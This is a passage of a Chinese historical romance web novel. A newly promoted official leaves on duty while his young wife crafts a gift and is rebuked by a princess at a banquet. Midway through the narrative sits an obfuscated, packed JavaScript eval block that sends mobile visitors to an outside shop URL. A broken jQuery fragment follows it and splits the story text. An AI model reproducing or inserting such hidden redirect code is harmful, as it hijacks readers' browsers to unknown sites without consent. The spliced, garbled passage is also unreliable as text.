顾珏洲第二日启程,临行前去了端明堂,和父母告别。
侯爷已经练完武回来,他问:“已经同你妻子道过别了吗?”
顾珏洲想,虞满还没起,她懒洋洋的,几乎没有一日能和他一同起来。
他道:“她还在睡。”
侯爷面露几分复杂。
他又提点:“仲疏,你虽已娶妻,公事却是最要紧的。夫妻举案齐眉即可,不要过分在男女之事上沉迷。”
他说完,又在想就儿媳这个性子,贤惠不足,娇气有余,她怕是做不到「举案齐眉」这四个字。
先前还说她十分心悦仲疏,但他要出远门的当天,她倒是睡过了。
这又让侯爷心里升起些怀疑。
但这是顾珏洲房中事,他不方便多说。便也罢了。
顾珏洲:“儿子知道。”
“我听说陛下前些日子召你入宫了。”侯爷问。
“是。”顾珏洲平静道,“是立太子之事。”
邺明帝膝下如今有三位成年皇子,但表现均不算亮眼,成年后各自封了王,陛下没有更近一步的意思。
而尚未成年的六皇子资质最为出众,又是皇后所生,应为正统,陛下也属意他。
侯爷点点头,心头拂过一抹了然。这是全大邺都在关注的大事,原先这类事情在初拟的时候,陛下只会说给最近的几位臣子听,且各有任用。
陛下将这件事告诉他,意味着他要升官了。
两人都未多说,但心里都很清楚。顾珏洲依然淡然,并无一丝骄纵自傲。侯爷看着他,竟是觉得他也有些深不可测了。
他叹了一句:“若是你兄长还在,他未必能有你擢升的快。”
在侯府,顾珏稷的名字不是个禁忌。公主提的少,但侯爷和顾珏洲并不避讳。
顾珏稷身陨,但他留下了很多东西,战功,美名,将军之位。这些都是能为侯府所用的。
顾珏洲:“我与兄长,所擅长的不同。”
侯爷问:“仲疏,我知晓你从小也有征战沙场的愿望。你如今......是否会后悔?”
“父亲明白的,”他依然是那副淡然的,不起波澜的模样,“如今大邺,从文好过从武。”
他的才能只需要在最适合的地方发挥作用即可。至于他的喜好,这个可以往后排。
他没有回答自己的问题。侯爷能听明白。他感到有些无力,中年丧子,这件事也曾让他大受打击。
他已经折了一位长子,断然不能允许次子再上战场。
于是他只是拍了拍顾珏洲的肩:“陛下信任你,就去吧。一路顺风。”
顾珏洲离开端明堂时,又看见了走廊上放着的小狮子。
他拧眉看了两眼。真是傻得很。
只有傻傻的人才喜欢这种傻傻的物件。
-
顾珏洲外出这些日子,虞满感觉更无聊了。
天气也逐渐热起来,虞满在院中画画、乘凉、和雪荷她们说话。总觉得手头无事,想做点什么。
她便主动去找婆母,说可以趁这个机会,学一学府中庶务。
公主自然是愿意教她的。故而白天,她很多时间在端明堂。
上回制秋衣这事,公主派下去,虞满完成得很好。正赶上今年布匹价格下降,手头银两宽裕,虞满还提出给侯府中的各个院中的婢女小厮们也做新衣。
公主点头称是,消息传下去,大家都感恩戴德,说少夫人宽厚体贴。
虞满为人本就善良,又生得一副好相貌,是未来的侯夫人。府中下人们都很尊敬她,经了这事,大家记得她的好,在栖晖院中做事都比先前要勤快些,并未受暑热的影响。
公主把这些都看在眼里,心里是满意的。也在丈夫面前夸儿媳。
只是侯爷的态度还是无可无不可,他对人的考察时间更长,这是当年在行伍中养成的习惯,他不会轻易评价一个人。
但夫人既然已点头认可,侯爷都不说什么。
这日,虞满从端明堂回来时,夕阳西下。
雪荷说世子寄来了一封信。
虞满接过,在烛光下打开。顾珏洲的字迹十分漂亮,信内容简短,大意就是他已经平安到达目的地,不必担忧。
烛光摇曳,阴影落在纸面上,在顾珏洲写的「虞满」二字上跳动。虞满想,他就只有那日回门时,叫过她一声「皎皎」,回来之后又变成名字了。
虞满有些气不过,她打算下次见面,不叫他夫君了。
她非要叫他「顾珏洲」,以彼之道还施彼身。
他好像还是和她保持着一点距离,并不如寻常夫妻一般亲密。
虞满想,若是在扬州,她还可以亲口问问那些已经成婚的好友,这样是否正常。可在京城,表姐还未成婚,她无人可问。
但他心里应当是念着自己的,否则也不会专程写信回来。
想了想,虞满决定,她送他一个小礼物罢。
他性格冷,虞满知晓。不过没关系,她是善良大度的人,她可以在这方面迁就他。
谁叫他长了一张俊脸。
她决定自己做只花灯,在他回来那日送给他。
她让雪荷去寻了纸、竹条、绳子等物,正巧栖晖院中有一个婢子会这门手艺,她便让这婢子教她。
花灯看上去简单,但做起来很难。雪荷她们已经将竹条的边缘打磨得极其光滑,但虞满不熟练,还是会被抽到手。进程缓慢。
这么忙活了两日,宫中传出消息,说陛下下旨,封六皇子为太子,同时为其配备三师三少。
顾珏洲升官了。他被任命为太子少傅,同时督管国子监。
听到消息后,虞满喜出望外,顾珏洲这次晋升极大,而且据说他是三师三少中最年轻的一位。
陛下对他的信赖和认可,可见一斑。
虞满又在想,伯迁哥哥当年在扬州之时,他只是少将军。而顾珏洲如今也已经是他当年的岁数了。
同样的年纪,顾珏洲已经走的比伯迁哥哥更远。
正想着,雪荷从门外走来,道:“夫人,有一封请帖送过来,邀请您。”
虞满打开一看,知晓是户部尚书府上老夫人寿宴,遍邀京中女眷。
就在三日后。虞满方准备赴约,忽觉得这门第很熟,她问了一句,果然是宋家。
户部尚书的千金宋淑窈,是喜欢顾珏洲的。
“您要去吗?”雪荷也想到这一层,问,“奴婢听闻侯府给姚府下聘礼那日起,宋家小姐绝食了两日。”
虞满皱眉,觉得宋淑窈的脾气比她想的更大,对顾珏洲的心思也更坚定:“她竟绝食?”
“是。”雪荷解释,“当日怕您听了不快,未敢告诉您。”
“宋府应当也不会想看女儿这般闹性子。”虞满想着,还是开口,“我去。这是老夫人的寿宴,又不是她的。”
给她寄请帖的又不是宋淑窈。
雪荷:“奴婢明白了。”
半晌后又道:“要是世子在京中,就能陪您一起参加了。”
虞满道:“他不是素日不喜参加这种宴会吗,估摸着就算他在京中,也不会同我一起的。”
雪荷不知道说什么好,认真看了看她的神色后道:“您别伤心。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17695871|205204||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“有什么好伤心的?”虞满笑着说,她觉得,顾珏洲平日太冷,就算在府中也多在览山院,他不参加宴会,就有更多时间处理公务,这不升官了吗。
比起素日沉浸在觥筹交错的丈夫,虞满显然更喜欢务实勤恳,踏踏实实的夫君。
三日后,虞满同公婆一道来户部尚书府中做客。
姚府也受邀,这让虞满放松许多,她同侯爷和公主说了声,便去寻姚沛音了。
这几日炎热,衣裳更为单薄。姚沛音见到她后,上下打量两眼,不太确定地道:“皎皎,你长胖了?”
虞满摸了一把脸:“没有吧。”
“不是脸。”姚沛音压低声音,是这儿,她往虞满身前指了指。
就是不确定,因为皎皎的脸还是小小的,鹅蛋似的,一点都不见胖。
可是身形却变得更妖娇些,姚沛音看着她,竟像看到了只水灵多汁的白桃子。
虞满的脸噌的一下红起来。
她赶忙将姚沛音的手拉住:“那边有点心,我们去尝尝。”
姚沛音叹了句:“啧,顾珏洲,福气真好。”
升官发财,家里还有个大美人。
虞满赶忙用点心堵住她的嘴。
两个小娘子闹开,惹出些动静,许多女眷都看向她们。
她们注意力在虞满身上。顾珏洲高升,她作为他的夫人,一举一动,都会吸引旁人注意。
只是虞满并未察觉。
不远处,来赴宴的长公主皱眉看了看虞满,抬手让她过来。
两人自上次赏花宴后,便未再见过面。
虞满起身,朝长公主走过去,行了个礼。
长公主上下打量她:“起来吧。”
若她只是康安伯府的表小姐,长公主是喜欢她的,好看的人谁不喜欢。可是,她如今是平远侯府世子夫人,长公主再看她,就会挑剔。
她先前听到坊间传闻时,就觉得两人并不般配,应当只是虞满一头热,顾珏洲那边是没可能的。没想到自己的赏花宴竟为两人牵了线。
长公主十余年前嫁给了宬国公,她想将自己侄女嫁给顾珏洲。若论身份,她侄女比康安伯府表小姐要更般配顾珏洲。
只是侄女对此事也不太热衷,她没多提。
“皎皎。”她叫虞满的小名,看似亲切,却语重心长地故意道,“你已经嫁人,有些事便不能再说,也不能再做了。”
虞满一怔,笑着说:“不知长公主殿下说的是何事呢?”
长公主:“若为姑娘家,伶俐顽皮是好,可如今你已嫁为人妇,举止应当端庄持重。否则,也会对平远侯府的声名有影响。”
“皎皎,”长公主看虞满怔然,心中升起满意,“论理,这些道理是不该外人提起的,我只是好心。”
虞满很烦闷,长公主嫌她不够端庄,不像人妇。
她想辩驳,但长公主毕竟是皇室,她无可奈何,只能硬着头皮道:“多谢长公主殿下教诲。”
她想起了顾珏洲。他有没有被人这样点过,他又会如何说?
听姚沛音说,他先前连皇后娘娘有意的牵线都敢当面拒绝。
可自己作为他的夫人,却还在被人有意提点,说她会影响平远侯府的声名。
虞满抿着唇,身边的宾客有人注意到动静,都看过来,她有些下不来台。但长公主似乎存了压她的心思,并未放她离开。
她正在想该如何做,便听身后传来婆母的声音:
“长姐,我的儿媳,就不需要你操心提点了吧。”
原先就安静的周围,因文安公主到来,这下更是鸦雀无声。